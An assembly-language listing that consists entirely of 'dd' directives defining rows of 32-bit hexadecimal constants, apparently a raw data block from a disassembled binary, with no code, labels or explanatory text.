dd 0EF02796Ah, 90069E33h, 0DE6F095Fh, 694AA45Eh, 0A325B1F5h
dd 9C9BB29h, 0CD02A48Bh, 3E5861F3h, 90DB3912h, 0C59E5A9Bh
dd 0C2F9BCADh, 0FAFD0BF8h, 5B6125A1h, 561E71h, 0D5379631h
dd 2371BD2Bh, 0EB77D495h, 4BFE4D77h, 1705567Bh, 32DCF9BFh
dd 29FD2FBDh, 26DD1FF5h, 8609E029h, 0B9258589h, 4D562227h
dd 1F3D5518h, 0A080C505h, 13E581C1h, 161E283Ah, 0D691628Ah
dd 0F3B0C403h, 956026Eh, 57A7C6B3h, 27591522h, 7DFE1313h
dd 2221A305h, 13AFB6E9h
dd 0CE259315h, 0C8B62012h, 120EE6BAh, 0E6AD284Dh, 7C5BF80h
dd 58B8741Eh, 78228997h, 0E380041Ch, 0ECC82BB4h, 0C9738084h
dd 0EC58AB8h, 359A7E50h, 20F9E6E1h, 0D6E02AF1h, 60DB02D3h
dd 99E90B53h, 834494F5h, 0B8528DBEh, 27551EF0h, 0A764947h
dd 0A02D7869h, 9D2CC883h, 81C0BB7Eh, 0EFF38CBh, 67E97FBBh
dd 1927221Ch, 11184513h, 248E0010h, 4D25C7CEh, 6EA327F3h
dd 79C9465Eh, 603D111Bh, 8FBB66CEh, 1B329D17h, 6D40AA5Eh
dd 56EC79h, 7F286C5Dh, 0F3ED26EBh, 723BB724h, 58719514h
dd 0B9ACD209h, 32FB2980h, 9D272C68h, 132F4CD2h, 0FD4CA1A6h
dd 0E4C4BD27h, 92A83C77h, 24950116h, 3C57BBF9h, 0BEFC56FBh
dd 0E6D9272Ah, 5F0C783Dh, 0BFF230AFh, 0B92A8896h, 7C97C358h
dd 5A1C2E8h, 3403974h, 0BD2C199Dh, 0F45A7Eh, 265FA83Ah
dd 0F568E1A9h, 89A6B85Ah, 4171510h, 0B531D22Bh, 0E2CB52EEh
dd 9B54F8B5h, 6D178DDh, 567F6F09h, 0B77F8260h, 0DDDB62D2h
dd 0ECFAE2D1h, 0D272015Ch, 56AD435Bh, 0D0CE3C5Ch, 0E29212D2h
dd 601292F3h, 61F209F5h, 1587779h, 1A6D2D8Dh, 4EF4E47Ch
dd 84EBC8D3h, 80C20B07h, 0A9C2EE87h, 51825D14h, 645E6ED2h
dd 34AD6051h, 7A79F9F3h, 4167470h, 361E4195h, 0BF168C53h
dd 1F2502FEh, 0E20B5C4Dh, 0F7321641h, 0FF0043B5h, 0A70CCFBAh
dd 1DF1124Eh, 8452F2B4h, 0DEAA0452h, 6ADD84ABh, 43A269BCh
dd 0CC5CBF20h, 0CA764BB1h, 0BDFB2238h, 9D629AD6h, 602069D1h
dd 0A143A76Ah, 4C88D98Ch, 0C312BF5h, 0EC6E3249h, 607AFD1Ah
dd 0CB4C3A27h, 0CD132000h, 8148DA32h, 756A09E7h, 607A3EB3h
dd 5B32F16Bh, 5E577ABAh, 28C9008Bh, 0DF80A732h, 30BB955Eh
dd 0C64EF76h, 30BE4C5Eh, 958DBBE0h, 27A76748h, 15985D60h
dd 7100C479h, 42C22D49h, 8216AD03h, 40D95Fh, 8B52585Ah
dd 614B59D3h, 8D311B20h, 0CE1F4A09h, 0B4B3186Dh, 0D45B270h
dd 8B61C88Ah, 8AFCEAD9h, 0DFAFD41Eh, 0A9AAE298h, 0EDA6DD00h
dd 0CC798D73h, 699F08E2h, 53415F47h, 5DC8B860h, 738E30Fh
dd 0A05F61C4h, 6DB5FB63h, 54D92FB0h, 232E985h, 4CE82BE9h
dd 11E9205h, 4281BA28h, 752F020Dh, 1E5E23Dh, 0C8563153h
dd 16D04737h, 0BCCB00A8h, 7A9CECFFh, 0C34BEE77h, 0C2194BCDh
dd 0AF2A172Eh, 0B401257Bh, 0F2FA464h, 15F26B85h, 0D484580h
dd 77095FBFh, 5C90E8BDh, 1B46D62Dh, 0ABF06A00h, 0F882F68h
dd 5489A425h, 0C512DEDDh, 5B308BFEh, 73700EBDh, 2610039Dh
dd 3120DFB4h, 0FB5589DAh, 802FA94Fh, 0FD50DA2Ah, 31016CB4h
dd 1818739h, 952CA929h, 6130F380h, 36006567h, 0DD99F068h
dd 991D3D6h, 0E6861833h, 4460A02h, 0E7709C73h, 0D7B10483h
dd 0F890FEC8h, 12172060h, 0C1F98B96h, 0E28167BEh, 0C2FCCD77h
dd 5D5E11A6h, 1D46D6h, 853B38F2h, 12EC209Eh, 57D2ECFh
dd 0E2C51DDBh, 13BA0040h, 7FE1B68Fh, 594600AAh, 0D62F36C2h
dd 31FABF3Dh, 6537995h, 9C0A685Bh, 20E49A62h, 0DC055B2h
dd 1F3BF2F5h, 36DB8265h, 5E25E93Ch, 0B7742731h, 0FC2500F6h
dd 6BA53B98h, 100953A6h, 46890F90h, 5724580Eh, 0BA8A0B74h
dd 0BF43220h, 0F4B01DEh, 0B7ADD041h, 3AA96B48h, 5C9E9681h
dd 20FA2A12h, 7D02BDD7h, 0D5602C05h, 38018F0Fh, 5BE9F780h
dd 5DFBCF6Ah, 0FFFCA948h, 85A20213h, 0F921451Fh, 0D3515Fh
dd 904660BFh, 0FA4B8B6Ch, 0B15F6A8Ah, 0E96F7A01h, 48972000h
dd 55C73EEFh, 0DE03D027h, 985D2DC2h, 0F4EB819Dh, 872B704Ah
dd 2D28985Eh, 0B6DB0535h, 951B7D0h, 8D437B26h, 990F88D9h
dd 259D849Ch, 0D7CE2CAEh, 8D35608Ah, 0B7E79528h, 0D727C41Ah
dd 14E96A40h, 0EB485CB7h, 2967F6D4h, 0FDE2D5C9h, 91D935D5h
dd 0E5CE8216h, 54D3DD68h, 2F17352h, 988BFBD0h, 0CA4F8575h
dd 206A38Ch, 11FD0733h, 5E55F90Bh, 61DB509Ah, 593A7395h
dd 2DD1819h, 99D892AEh, 0E440FC75h, 4C48D20Fh, 0DABF09F6h
dd 86D15F96h, 57CBBB82h, 9355A050h, 60CF5Eh, 0FEBE071Eh
dd 0CD67B9CEh, 0E697DE01h, 9623362Eh, 813ADB2Ah, 343101B9h
dd 0BF1EF1C8h, 0EC4BB4D4h, 5F709C6h, 0F6736BC2h, 4FB7D0A0h
dd 0CD8660C0h, 0F0B76707h, 0BC76BF0Dh, 659529E0h, 973950Ah
dd 552F01A4h, 15DF5A0Bh, 89BC484Fh, 0EB70D0FAh, 0D0956CACh
dd 832960F9h, 85012050h, 6E959C90h, 47B7BDD4h, 0BEC4B000h
dd 3F892B1Dh, 0BFCA299Dh, 1D388B6Eh, 0D4018470h, 2B10C97Bh
dd 5A31353Ah, 25EAB06Ah, 94912B6h, 4BC97A01h, 0A818A2F9h
dd 415302ADh, 0CF7AC42Ch, 11666F5h, 97BB90B7h, 2A635079h
dd 7AA922BDh, 0BC024BE7h, 5F566E7Eh, 98009546h, 0D1A80CA2h
dd 276C50C3h, 0EF5BB0Dh, 0C8572213h, 0B6987F7Eh, 1499D23h
dd 82C45023h, 8FD90C45h, 0DAEF2D3Fh, 609670C0h, 9FD1813Ch
dd 66DD93B0h, 0E7D7D8C5h, 33AF60ABh, 942F9BDh, 50EF8180h
dd 4F4B6BE1h, 2F22E98Ah, 87ED4AA3h, 0AF80B430h, 92FA5E34h
dd 7D80E879h, 1D68D90Ah, 4000A572h, 6F0DF8A1h, 98ADB7Ch
dd 0D0209206h, 0E4A4C9D4h, 3E6EE45Ah, 0D28F42A6h, 0D7C04D66h
dd 8E7EDC37h, 968E2161h, 9D2B5B8Ch, 0A85839EBh, 340603D4h
dd 160B98ACh, 6BF5E491h, 0B591E79Ch, 8A4008D9h, 97E4B3D8h
dd 414AFC14h, 0BFE515E8h, 0DAEE31D5h, 0B219C9CDh, 2E765712h
dd 6036BB40h, 0C67D2CBEh, 3ADA4BA5h, 0F45D7C97h, 26931456h
dd 0AA00BCD9h, 0E9642153h, 3B7095E6h, 661B9097h, 2E840049h
dd 0D4059A4h, 4D907AC7h, 62EFC300h, 8B5F0CC2h, 0DC7D94C1h
dd 162E060Fh, 0CB476B0h, 71852F31h, 0E000BD2Eh, 0EA81F00Dh
dd 0A0A639DDh, 2A881414h, 0FFF3D06Dh, 0C394C0CCh, 50F24D36h
dd 0CCCBDEBEh, 41D5BEB9h, 9AC22B58h, 81F8F01Ah, 5A4D38B3h
dd 0A4126370h, 50B701F9h, 81D0033Ch, 9245D93Ah, 0F4D38419h
dd 36B0842Dh, 0B4D95FE9h, 0C0B8C8A8h, 1B134520h, 4F3C4003h
dd 6120C2BEh, 0F58B791Ch, 0DAD1288h, 5BF8050Dh, 30C1C86h
dd 0D93720D1h, 8B64D19h, 97255412h, 58F2864h, 0C483126Dh
dd 161BB204h, 93018B51h, 0B0A98110h, 95B51446h, 81C32604h
dd 33202D7Bh, 16242215h, 40F985C6h, 0D2684799h, 60959AA7h
dd 8229A90Ah, 7F60C102h, 0D0E2B043h, 8400A43h, 249FAD82h
dd 6CCD3C4h, 1CF20001h, 61541D51h, 7003F63h, 8092CC89h
dd 1D5EC1C6h, 8C81DD8Ah, 5332594Ah, 5AA5B400h, 409856BFh
dd 3CC7FE69h, 9ACC7DCDh, 370C874Ah, 0FFC1C00Eh, 5007A1E1h
dd 5816B051h, 4791E9A1h, 80D60BDDh, 0BFBACF43h, 2110062h
dd 9646F189h, 81EC95AEh, 0B1247EEh, 7E886620h, 317438E8h
dd 51BF448Bh, 8A620FDEh, 81EB60C2h, 0DF390EF2h, 0EEC04FFBh
dd 3B1B2A92h, 0CE2DB633h, 0B511488Eh, 2DD6C226h, 3C8EF7EAh
dd 0CECE6051h, 0D22AE961h, 4488FE13h, 0E3C49552h, 0DFDF8525h
dd 5A37FA40h, 42927BFAh, 7650F32Fh, 0E20643CCh, 8DCFA1A8h
dd 99F81D00h, 85EC5C55h, 729C0119h, 48A22158h, 70D9D032h
dd 16F40E00h, 0F5D5B7BAh, 0DDAF3374h, 21004308h, 0E316EC75h
dd 0E26CA906h, 0D3E9001Ah, 5CAA7124h, 10C04274h, 9FEB431h
dd 3473A9h, 0F22E70B3h, 0AE7F45Eh, 0C572A12Ch, 19385406h
dd 6020D830h, 1670C39Fh, 612438C3h, 0E7190373h, 0A8EA26A3h
dd 524154E2h, 0EF38811Eh, 63271108h, 30642820h, 69183CE0h
dd 0B0C120B4h, 428A242Eh
dd 0F0FC8EDCh, 0BF1B3E76h, 18AEED1Eh, 315E1067h, 804DDA3Bh
dd 4FE47F6Ah, 0C9F1FEh, 3442F2FFh, 997CC229h, 0F65C02ECh
dd 97EA0E79h, 0F0378057h, 177EE7Ah, 5AFFD14Ch, 98D7D9F4h
dd 95214008h, 37700E6h, 0C6AE612Ch, 5E0065BAh, 0FF1D797Dh
dd 994BF5h, 8B5AF03Ch, 253D74BEh, 9ED118C0h, 2930439h
dd 0A6B3D015h, 0CC801908h, 54384736h, 0EFEE5B00h, 4237015Ah
dd 70186F32h, 0B2F12B00h, 0EA069280h, 0FB0A56D3h, 21256008h
dd 9CB2E8D9h, 988C6F0Ch, 0E43A94Bh, 0EAE1C846h, 87A39EA0h
dd 8300500Dh, 7ACBE98Eh, 0DC302ABDh, 0C8BA4278h, 5C83D370h
dd 0DAA01A37h, 11D2F29Eh, 0EE589C01h, 3BFC8E78h, 8966371h
dd 20005B0Bh, 87588931h, 780DA8A7h, 673500FBh, 92BD20D0h
dd 0E518EF1Bh, 0A0702FFAh, 447020B9h, 0DBF9C5F8h, 78B11908h
dd 8C803049h, 5167DCAAh, 80907B10h, 2178Bh, 0A18DB56Ch
dd 0C62C775Dh, 0AB49E700h, 0AABEF339h, 0B88500D8h, 765B9327h
dd 0A70020E5h, 0DA6E7E41h, 0E242DF4h, 8BC17479h, 0A96F37A0h
dd 35009903h, 0E6C6CDC3h, 7678EC5h, 9E38BFE7h, 0D31770D7h
dd 5C00043Dh, 66477E5h, 0BB4A21h, 0A46DDA9Ch, 0D412CB87h
dd 0E6332C00h, 5D43EE2Bh, 489600B1h, 1F0611Ah, 991CD563h
dd 7E80504Dh, 0CC874565h, 0FE953DF8h, 0A2C8C20Eh, 30B61140h
dd 1C0719C1h, 0E4BA8CEDh, 0A4CD4560h, 0C37F0090h, 0C296F6ACh
dd 0B9008E57h, 20491A65h, 3392BB97h, 0AE087F18h, 6E542100h
dd 0F0493F1Ah, 8567098h, 0A5F53ADFh, 87C49B80h, 71DB35Bh
dd 7977B508h, 2F6505Dh, 8A00A5D1h, 73032A55h, 0FB48042h
dd 91E53A67h, 0AB5D7AA0h, 0C701A64Ch, 0DCFF9356h, 1896C9B1h
dd 57E30002h, 7F709974h, 70C08B74h, 0F6046BAEh, 19769815h
dd 8550D5Bh, 50218081h, 90CE0463h, 194F039Ah, 0C1EA14CFh
dd 99B16063h, 13BA09Ch, 0E211C0C4h, 3A6ECBF2h, 95B2F406h
dd 60089C41h, 0AA8321ABh, 887FC6CBh, 7DC21003h, 901F1420h
dd 0E5C2157h, 46909FABh, 88015641h, 0B4A4E2B9h, 1A6860ADh
dd 8F202348h, 5300B111h, 4AA31A71h, 6A00F846h, 90412DC0h
dd 6080C161h, 0BAE2E194h, 0A301BB1Eh, 78107013h, 0E7F09D6Ah
dd 60D63024h, 0F3183BE8h, 0B23F0500h, 0E9DADE3Ah, 2CF5000Ah
dd 0EDCB02E3h, 29079375h, 10FB8B0Fh, 0EF333B40h, 6F77976h
dd 37DECB86h, 0FD30098Eh, 7F4F200Eh, 15B3FEF7h, 2073BFC2h
dd 4B0E5AACh, 2076B7E4h, 0F1D82C1h, 0B841019Ah, 0DB45DA52h
dd 0D26FE40Dh, 68803F31h, 33D91057h, 7BD86ECh, 3CC6E672h
dd 5E6B50A6h, 14000DE1h, 90379108h, 102EEB5h, 1B333CC7h
dd 4FE88ABCh, 59801120h, 2E958881h, 242080E4h, 73C00154h
dd 0F24100E0h, 1D0D47D9h, 680DB79Fh, 0F9A7E33Ah, 152AFCCh
dd 7E863778h, 8C8E0BD7h, 203ABD09h, 788A01CFh, 0FB49E81Fh
dd 3C39800Ah, 11D25990h, 283D6FE7h, 52BAA083h, 82C276C8h
dd 88E42628h, 24537913h, 0DE71BD18h, 0E5923495h, 0C49E80A8h
dd 9CE9DDBEh, 7DC68158h, 0FE5038A2h, 50351ED3h, 0AB1B4155h
dd 984BBA3Eh, 0DD21D208h, 4350003Dh, 0EE5942D9h, 0C41C3C0Bh
dd 0E75E34B3h, 0D1AF99B0h, 6198001Bh, 0BF7CD43Fh, 83FACA4Eh
dd 6D341D0Eh, 18B400B9h, 559E76B8h, 989DECDEh, 7F1121EAh
dd 53503783h, 0D1314BCAh, 503FF310h, 0C685B017h, 0F17E5407h
dd 0A216CD62h, 0AAC202D0h, 8D1144A4h, 95F77480h, 448C9B86h
dd 7D004DF3h, 89660AF7h, 12C6B96h, 5564C411h, 0DC33DC0Fh
dd 3A70B586h, 0A6002490h, 0E029918Ah, 225E0Dh, 8C478993h
dd 1976D0A0h, 0BFBF343Eh, 30C073B6h, 0BEC3CF9Eh, 7C0E501Bh
dd 321E8C7Ah, 23515650h, 0DE80D088h, 0A130503Ah, 36DA392Dh
dd 43BCE483h, 0E10A07A5h, 0CC388A04h, 8E9483BAh, 0A07D8BD7h
dd 659E4418h, 13CE9D5h, 823061CCh, 97208650h, 14EE393Eh
dd 5010F7BEh, 391E8C72h, 467F5150h, 0F900CC22h, 25955041h
dd 3AD845C0h, 0F8D0F256h, 0BA521288h, 45945DCEh, 0C21B32D7h
dd 844891B4h, 6C00436Fh, 0B31A15BCh, 0C8A31117h, 699DA120h
dd 0AC608C12h, 23347853h, 0B7117686h, 788BCC00h, 0C13FC2A0h
dd 0C5128871h, 1000DE36h, 9138ACBAh, 844A506Dh, 642C98ABh
dd 32D97060h, 785030E9h, 4E863911h, 0D180B288h, 404A7888h
dd 8CB3000Dh, 0A1E712CEh, 70121C9Dh, 8C059341h, 8803AFD6h
dd 3940A6h, 35088E38h, 7519CA1Ch, 3A1C0EF0h, 72CA86DDh
dd 0C60798C9h, 7F20919Eh, 3151E61Dh, 0F418D8C2h, 8A702063h
dd 0F775048Ch, 62838692h, 7E4E20F2h, 9C704CF7h, 1C81E500h
dd 4236BF75h, 7ACE1206h, 0C1546107h, 0CE880F11h, 2F6365C0h
dd 484649E7h, 78E8403h, 2EA8A291h, 5B0125EBh, 4EC16E9Bh
dd 18301092h, 0FCB9F037h, 38D2122Dh, 34680839h, 0F656C083h
dd 58285008h, 0D27D013Ch, 8B247073h, 69A852E9h, 0B2E4C065h
dd 0A5A4FC60h, 0EDE58001h, 25E0637Bh, 9AC256C8h, 8E2D0058h
dd 0C42F4F32h, 0F489CBDh, 8CD2F890h, 1BA3F800h, 4C83D96h
dd 0E13C6286h, 0EE6876E2h, 97148F1Dh, 7180FB38h, 721B88h
dd 2655AB14h, 27A25A86h, 1A090490h, 116C9EA1h, 0DA02FB64h
dd 55188E19h, 86327808h, 40B9C426h, 1D788DCAh, 0B2850054h
dd 0EA102C44h, 153789E6h, 2D27029h, 8838C8E0h, 0CC7A3332h
dd 0EC3B518h, 52A27588h, 50E3F62Ch, 0B9BE4200h, 0C43CC81Eh
dd 407218h, 5C250B14h, 73BD06F6h, 0E9A78B04h, 0BA56E81Dh
dd 0D73284EAh, 2AA0D0A2h, 6C146028h, 77019BAAh, 92F6A8C2h
dd 0E7D472BCh, 0BA82314Eh, 0E88F3640h, 0DCA1201Eh, 8C7C0CEAh
dd 5450341Eh, 0CD881351h, 503CDC80h, 126275CFh, 524EBDA6h
dd 0C540494h, 29408188h, 8CE8083Bh, 38784F04h, 0B8625686h
dd 7887D020h, 4B579EEh, 539AF524h, 0A4389129h, 237D020Ah
dd 72E0B7A0h, 18C8271Dh, 6E0A491h, 38C02A50h, 94207201h
dd 469E43A9h, 6C93898Bh, 7CA64601h, 0B094273Ah, 9E68D65h
dd 0F221EBB8h, 0A346F081h, 6E898122h, 3FB42B5Bh, 74CEA02Ah
dd 10208E02h, 0E1B844D6h, 38438F54h, 97857h, 0D4F17ABAh
dd 0C4A637C3h, 0B58871C2h, 6BB4C84Ah, 8F39C10Eh, 0C8A33D4Dh
dd 480F8A74h, 9C213EAEh, 5137E7CCh, 0D09200DBh, 0EBDFC175h
dd 0F766BA0Ah, 214C08h, 21D0EA7Ah, 420E30CDh, 0D95CB60Bh
dd 82E80081h, 0E67A76h, 8ED8570Dh, 9E379C2Dh, 0E83C34F9h
dd 2FA0300h, 633BDE11h, 0FB8F00C7h, 0AC9A4637h, 0F1305AA6h
dd 0C6424034h, 824F00ADh, 8FC4C03Ch, 0A0171EA1h, 783A532Ah
dd 8A00D023h, 6CE89579h, 8B8D060Dh, 0B49A56BFh, 0C542898h
dd 9CEA9FA8h, 49DD7309h, 95E4A620h, 242E9049h, 85CCEA42h
dd 45B36Eh, 81B1BAB0h, 4348BDEBh, 0EC461670h, 106B9405h
dd 8C89A4CCh, 91F77804h, 0A8677B86h, 0C081518Eh, 0C2D0074Fh
dd 0B15E09F8h, 0C65FDF3h, 1260FAE4h, 205CCF80h, 2F4465Ch
dd 0C173D094h, 41F433AFh, 2DD08C7Ch, 9AAE1C60h, 42880908h
dd 588F2196h, 5C6C738Ah, 0C900F246h, 22DB2E77h, 170155FAh
dd 0C2C3A8DDh, 0A0000F1Dh, 0DF50DA82h, 0B51090B4h, 33030152h
dd 76B8061Ah, 9B70B4FCh, 40E31105h, 0B808FA88h, 8A86020Bh
dd 0E8C4F1h, 2A00C856h, 0FF941D81h, 18908B4Fh, 2026EE52h
dd 0FC39873Bh, 0C420D37Eh, 3A642E23h, 1F223C4h, 0CFB04B7Eh
dd 1B94E838h, 0C451581Ah
dd 11A41D76h, 0E7C780F3h, 3804469Bh, 0EE806F01h, 0DB45592Dh
dd 0A32A4F88h, 0E07A81Fh, 0FC802EDEh, 50BEAAA0h, 32C92669h
dd 0DF4E077Ch, 0A26E1134h, 0F631802Ah, 0B1862C2h, 0B77E00AFh
dd 5A25ADFBh, 7B04969Ch, 4204B168h, 14C2ACB4h, 0C8BB9E56h
dd 0BA173803h, 0C4941B78h, 1EB4C244h, 72B3A4A2h, 0BA005870h
dd 0B4E496CCh, 0E2E813D4h, 32522E88h, 0F85498D8h, 24608A5Ah
dd 1609BA10h, 0AF4E1F1Dh, 0AE80C13Fh, 0F452105Ch, 530377D1h
dd 417D07C6h, 0FBDAB4Eh, 0A88E3488h, 8C17C9A0h, 862472A2h
dd 81072848h, 4099A6BFh, 18108424h, 394E6EC0h, 3E58E890h
dd 42FA10B4h, 0B83AEE79h, 345B0024h, 0BA1D1394h, 0EF009EADh
dd 0B54552CFh, 14012ECh, 4EA7C6EEh, 0DCFE298Ah, 0CE005863h
dd 9AC9202Fh, 3A43E74Bh, 0EF00F612h, 0E44CE1FBh, 6B0049BAh
dd 1F86E270h, 3A0172C9h, 0F80F026Ch, 0A503CDE7h, 110FCAFFh
dd 0C0B4CB8Fh, 0EC2BCF6Ch, 8B76674h, 0A2C21D7h, 0E8001FC3h
dd 430B92BAh, 62190AEh, 0C1F7807h, 811E28F5h, 0EC1DC3EFh
dd 12471030h, 606C0133h, 694C160Bh, 30089803h, 31A2A21h
dd 51569A33h, 29C82FADh, 0B800E8FBh, 0D27D58CFh, 0C9D02D4h
dd 0F3DA18E7h, 75FA72E0h, 7EC58A00h, 7776E383h, 0FC08CC2Bh
dd 0BC188B21h, 0C640228Ah, 4C340079h, 0B9F85CB1h, 0D0C074A7h
dd 0AA6E12EFh, 3B0101FDh, 8AF9C34Ch, 808CD14Bh, 0AA65B421h
dd 3E51BAEh, 0D0745653h, 93F88168h, 58031E12h, 7F4C3E77h
dd 0C8F82370h, 71331103h, 7D629C60h, 0E8192D23h, 0F27AB9B1h
dd 0DBA72973h, 18867150h, 0DB810A7Ch, 2CF8E698h, 217918C1h
dd 9434C313h, 87C118C4h, 9050F2E1h, 3DA021h, 745FB5F7h
dd 39CC32AFh, 626A2903h, 1DEE07h, 4933F829h, 4F4A6BE5h
dd 64FA2616h, 92501602h, 108080DEh, 1AFFEFF9h, 78736E6Bh
dd 6C4DE000h, 10581B4h, 8DF2855Fh, 0FB0D16C3h, 7F580EE8h
dd 328C64h, 0F6B2426Ch, 0DA245860h, 730354FAh, 0C270E8C0h
dd 0E170405Eh, 0C139C026h, 0F80B77BEh, 3B361F00h, 0D4D3B8DAh
dd 946B02E7h, 0C8A874BFh, 64BCA484h, 1104D80h, 0A44B5393h
dd 0CD008522h, 68FBAB3Ah, 78B631Fh, 6D49233h, 0BB69024Bh
dd 0CFC68049h, 5F0C3178h, 0C080B06Dh, 0A82A0074h, 0FFFB0A22h
dd 31C0116Ch, 6534E56Fh, 0C0F37240h, 91C0F9C8h, 672459BEh
dd 4240BC8Fh, 9043FAAEh, 0BC2052A4h, 0D668DC00h, 88132441h
dd 425A3200h, 63DBE222h, 15473BF2h, 76949A00h, 0E79CD9B6h
dd 81901A49h, 7ECB8A73h, 35001CD2h, 7F5C8ABBh, 0A8810CB4h
dd 645E06C4h, 8E9788E5h, 0C0358868h, 0B7B213DFh, 0DC006D76h
dd 4078B0F6h, 0E12A0CAEh, 6473D8h, 0EE32CDF2h, 0F9756777h
dd 0CB23F404h, 5480D35Ch, 398643h, 77E4EB1Eh, 384AA0E8h
dd 0F7214B39h, 725C710Ch, 184040B5h, 582C6EFEh, 4A00A75Dh
dd 639B49DAh, 1260B6FCh, 5025AA40h, 2C007C20h, 0E5078D37h
dd 0D5729E0Eh, 3442D31Fh, 0B89A645Eh, 698C4158h, 0B404CF18h
dd 2C6F6C76h, 2E20D932h, 2403B4C7h, 86C57BDh, 0B02486C8h
dd 0D94674h, 69C42D8Bh, 0C766D8Fh, 22E86CB9h, 32F37B50h
dd 213A38DCh, 0B4D001CBh, 48676C75h, 988BD50h, 3EB400C8h
dd 9313EB4Eh, 0B80C3522h, 581C7C6Ch, 297242EFh, 853A5868h
dd 0B76C6FB4h, 2F01088Eh, 3BB2B4C2h, 5DDAE88Eh, 0F45E4803h
dd 0B2D9EFCCh, 0D0E880C5h, 92C69DB6h, 0B47D0A2Ch, 41901554h
dd 22E0FE51h, 1C330140h, 43202B9Dh, 0A83CCh, 8091C825h
dd 0E8C4AEBAh, 11081C00h, 0C3CB899Eh, 0AB750090h, 57E15BBFh
dd 0AAE4A59Fh, 84004CFAh, 0EBD18529h, 7FB793h, 0A1C92F50h
dd 45F6ABC3h, 0D0D34907h, 0BD30D252h, 7DF1AE0Eh, 57C77h
dd 8F222C2Ah, 49FD35ACh, 0B917A100h, 20CA66B6h, 14410071h
dd 5EBFDF37h, 38C7A5C3h, 3EC0D5F3h, 77CC4DFAh, 0C834007Bh
dd 1CE64536h, 0A63E05D9h, 1520254h, 2F9BF3F0h, 9D832D80h
dd 0F8002B0Dh, 0DCA14E9Ch, 39596B6h, 0BC14D855h, 19000288h
dd 3EC3225Eh, 0F0C026AAh, 0D129037Dh, 0A6097EAEh, 2AB6501Bh
dd 76BCC059h, 12A403D6h, 710EC524h, 7B00197Eh, 0BB2D399Ah
dd 3387A98Dh, 3891DA5Eh, 0C8B8BEC8h, 0CB26A800h, 6A5C4C5Bh
dd 0F56D004Dh, 0DC16C6FCh, 0B93DC36Fh, 22B8005Eh, 0A6060D99h
dd 60F4600Fh, 2AAC8577h, 0FC6B640Eh, 0B89200EEh, 304D716Dh
dd 0CEA13AADh, 8D00B1B3h, 0B88590DDh, 315F7918h, 0A158D92Ah
dd 0FB39CC0Dh, 0A5CF0600h, 0E82C74D0h, 787654h, 75CE8A1Bh
dd 440737BFh, 0B5E5800h, 7B5F2D6Ah, 0F8830E27h, 638FF7A7h
dd 402A1207h, 313C72B9h, 5C0358h, 0D552EE8Bh, 1FA230ACh
dd 2F56Ch, 6499AF96h, 7E1E28D1h, 3E070BC7h, 0FA80CB13h
dd 30378BAh, 6283DE04h, 610B06C4h, 390F8Ah, 0CC338E17h
dd 0CE0E572h, 0D25300DEh, 6B273A96h, 5561D678h, 3031F730h
dd 0A25C289Fh, 36C6D800h, 477897C4h, 267F183Dh, 0B7427829h
dd 0F2AF161Ah, 0B1C18D1h, 3B19C0ADh, 0D0AF9747h, 29561C1Fh
dd 740F8B4Fh, 827E0E4Ch, 1F80D423h, 0B8B2EE08h, 2211173Bh
dd 0ED005E3Bh, 93D556Eh, 2A06C871h, 2CACB7AAh, 0A3830020h
dd 63867805h, 4000724Eh, 79E430E1h, 187AC2ECh, 0B1A50C8Ch
dd 0A00C9AAh, 74D1FAF9h, 7475E9D6h, 48BB1D54h, 0C517101h
dd 3631817Ah, 2FAE56D8h, 35EC8CF1h, 0E0DD00E4h, 3A4BF8D4h
dd 91077006h, 0D7720F23h, 0F01178CCh, 5D4102D2h, 91B9803Ch
dd 0CEBAA083h, 0D796E900h, 29576FFDh, 78220073h, 4C109449h
dd 0F900E123h, 0EF8AFA72h, 0C47E909h, 0EBB08C36h, 0A20C8E79h
dd 490B6AC9h, 0F4D98B94h, 7044EC09h, 430A4D18h, 0CDDDC1h
dd 5BFC64CCh, 0BA778640h, 3CF8F424h, 96D66001h, 0B8408B06h
dd 0F34D495Eh, 20418052h, 0C87B6C79h, 6E064300h, 9A1E48BDh
dd 0B4801566h, 4C50D02Ch, 4410E9C1h, 3224A073h, 0C2002402h
dd 0B185801Bh, 69200049h, 8B0E9DF7h, 3E0E3612h, 6B74B7E3h
dd 32C802Bh, 0E218E410h, 8AC109FAh, 7C03026Fh, 70B08955h
dd 453DE281h, 5D38020h, 402BEF74h, 297824A2h, 47118030h
dd 0A3AB9870h, 0E48E6F01h, 0D36E6730h, 500E34D0h, 0F6DDD09Fh
dd 0B1B3E7C7h, 0EA40730h, 0D42521A7h, 0E8D85E38h, 0DF900930h
dd 55C07F78h, 0E61FF7FFh, 47066369h, 0F020286Bh, 0BE5D187Ch
dd 0F08231E7h, 0FB203E00h, 0DC68EB8Ch, 84DB0083h, 5C3BACB3h
dd 98009F53h, 2C33CB7Dh, 79D43C43h, 0A077014Eh, 61576397h
dd 509A4073h, 14A792ECh, 6813198h, 0C54CA344h, 60B0043Fh
dd 4A50F5D9h, 0EA0BBE68h, 0DF8FFFh, 7132E5C9h, 8D0200DCh
dd 697D30BDh, 0C0A06634h, 940E57CBh, 58AC18DFh, 888CF629h
dd 7F8833A9h, 0E1D18858h, 0ED09DA89h, 56E3113Fh, 12EBFD11h
dd 40F7100Eh, 28411789h, 3C17E903h, 5FEE2EA1h, 0DE9F9800h
dd 7B90E1B7h, 0A64900B0h, 0BFCC0809h, 7AF041AAh, 9200E679h
dd 47176715h, 1DB58DCAh, 0C02559C3h, 9FB8DE33h, 720F790Bh
dd 0A00F07DCh, 0F14AB7F8h, 0D2780048h, 3FCAE823h, 41001CF4h
dd 0AF866006h, 7CD6E5h, 9A09B519h, 80ED078Dh, 0E4A9FE00h
dd 0AF7DEE63h, 0D1DA3C2Ah, 0F2843700h, 35A1C8E2h, 0BD767500h
dd 4345BF91h, 54DD07A3h, 808A1D97h, 76B00EC3h, 0FAB1EE00h
dd 0E522A2F4h, 647300FBh, 883C24B9h, 40F901ADh, 0A01169DCh
dd 75004575h, 44851BBCh
dd 3E3189A3h, 0E00C77Bh, 15B0434Eh, 0EB00F7D2h, 0B3933E11h
dd 0A8B25Fh, 618820FEh, 6F18E063h, 961CA98h, 90EA1060h
dd 86139A00h, 6AA66C00h, 2E899C05h, 16DA0076h, 31327921h
dd 0A8EC184Ch, 0E8802C50h, 8B594400h, 94D8B11Eh, 624200EFh
dd 661D8A82h, 0AC00A7A0h, 0FCA3FB15h, 77A2C1h, 611B88DCh
dd 2063E28Dh, 0E05D807h, 29F0B1C5h, 65F0DE4h, 605C21BCh
dd 0FC07E055h, 19E0B5C3h, 7EFD38B0h, 0DCF70071h, 0BF73DE5Dh
